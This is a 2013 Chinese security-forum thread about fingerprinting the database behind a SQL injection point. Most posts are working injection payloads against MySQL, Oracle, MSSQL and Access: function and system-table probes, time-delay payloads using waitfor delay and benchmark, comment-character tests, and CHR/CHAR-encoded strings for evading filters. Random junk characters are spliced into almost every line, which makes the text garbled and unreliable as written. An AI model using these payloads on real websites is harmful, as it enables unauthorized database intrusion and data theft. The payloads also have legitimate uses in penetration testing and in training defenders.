一个注射点如何最快速确认是什么类型数据库
" B& R# E1 P* ^/ V- Y) o1 q _2 a8 cxsser (十根阳具有长短!!) | 2013-02-05 12:364 s) n( q( _9 C) [! ^
假设这么一个注射点:
* V1 E; T% }, C/ G, L- X/ eshow.html?id=25 L5 U+ B/ o q, `0 `
mysql:id=2 and version()>0
3 H: \7 w1 V9 W* w, joracle:id=2 and '1'||'1'='11
1 J( i6 K" h1 k {, o& x其他的欢迎补充; V, x4 X7 Q6 U! C
1#
/ L- u4 p/ L# a8 d- s4 nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
/ K; S3 M# N; l( M8 X) pAccess:
& T% n, B" K' a+ w( @aNd aSc(cHr(97))=97
# b$ p# L, i r9 Y* jand exists(select id from MSysAccessObjects)6 g; k* p4 z" a+ T
SQL Server:
" y3 f4 i" E4 Y* hand exists(select id from sysobjects)
; w% C0 S* y$ ~ k: iand length(user)>0, U9 A2 a2 Y3 E, U5 }0 X6 L
MySQL:
, k% J C0 b( }6 fand length(user())>0
7 S1 _/ R% C6 L @2#! @$ G% P, f# c, {
xsser (十根阳具有长短!!) | 2013-02-05 12:48
. J" I6 o; A9 `# f$ p H@upload 如果这些都不是呢…4 F: Z8 f) |; S
3#9 A* c& [3 b' w
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03! }& Y+ H; s& P* M5 k9 k, d* d, @
@xsser 不快速的,延时注入
/ a$ J1 g2 @8 J" f$ z不知道这样写对不对 t: P( }9 L3 r1 E3 _
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
2 T! B5 x2 a& l1 ]; X9 E3 o3 Fmysql:id=2 and select benchmark(1e8,current_date());
! u; `2 U$ I8 c# q1 j4#
, x& A! \+ j. F# Z: p3 a/ gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
, Z: H: n/ M: B8 N8 ~' ?最快的貌似是看报错信息. ?8 }- Z4 G4 ]# X4 f
oracle error
; d( v1 I% V. k! X2 c2 \mssql error
! O4 B m, J5 d, R: q) dmysql error0 i! J: C4 b; o9 [
5#
; X- k' [- |8 r9 _- FNimda (你们都是坏银~) | 2013-02-05 13:14+ Q0 c& e( G1 c2 v" H
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)5 I$ u1 t4 Z3 b5 y; a
6#2 |. y: Q/ g/ [- J* a4 a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
) P+ o7 |$ J4 m% B+ |, i4 N' m“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:% Y" [4 q: ?8 u) u8 V4 `. C
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:. a1 L0 A% Y9 E0 T
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。9 c: Q7 a% Q# r* z
7#
) Q" I/ i0 i$ z# H# p- v9 s: ^# q" t: J_Evil (HackEnd) | 2013-02-05 13:33
2 w7 C/ ]& ]5 O. `PostgreSQL. O) x6 j3 ]$ h& v* T- v4 A$ ^
8#5 y m* }; s3 m9 e& d# G8 _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:423 }0 t5 \% h3 C: w7 [$ E( N( J6 a
切换编码 and 1=16 N) h, @; v* X! i7 u) T
oracle:! v2 z" @3 G; ?9 e( d% V
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
3 k0 C' e _# C1 x$ S Y2 S! B. Cmssql:2 x) N b% ~" m) z; K
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)$ }7 ]* \0 q. d' f
mysql: |- v) b) ^4 @3 v4 H$ z
CHAR(97, 110, 100, 32, 49, 61, 49)
3 x/ o5 _+ Z0 i9#
: P& Z5 x' ~2 vxsser (十根阳具有长短!!) | 2013-02-05 14:31' ^3 x) [5 I! L; D, z
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
L u V5 X# a$ O$ o7 u10#
5 N/ H4 S( f+ \ [) V2 c6 l% Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
. R9 R3 Z; I1 C0 _9 g8 N@xsser 是奇葩数据库类型的么?- i( X1 ?% r7 `7 M% ~
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:1 @8 Y3 X" R' M3 a( ?. S9 F$ w
1.是否可以使用特定的函数来判断,该数据库特有的6 J, [$ N5 H# S$ l$ R! f
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等9 E4 f f! b3 o8 z; g
3.是否可以编码查询
6 {8 F q0 ~: U! [ R7 J4.是否显可以利用错信息
) {/ R* {8 ]# _5 w4 A5 v5.是否存在数据库某些特性辅助判断4 X* K. n. M h( ]% C P
个人见解
0 M( y+ i g7 Q! V9 q5 e/ {11#* s2 g. \4 @+ b' Y5 H/ t1 k# Q
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55/ ]* i! l) U/ n5 E o
已收藏,mssql可以直接看到错误提示的吧~3 G( _3 o* T1 _) S. z* B% s" [
12#; N' u' l7 h, D. z9 s8 W9 t
Passer_by | 2013-02-05 15:09& o$ U6 [9 f+ H* Y
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
4 q& k, p, t, I" z( r+ `from:http://zone.wooyun.org/content/260 |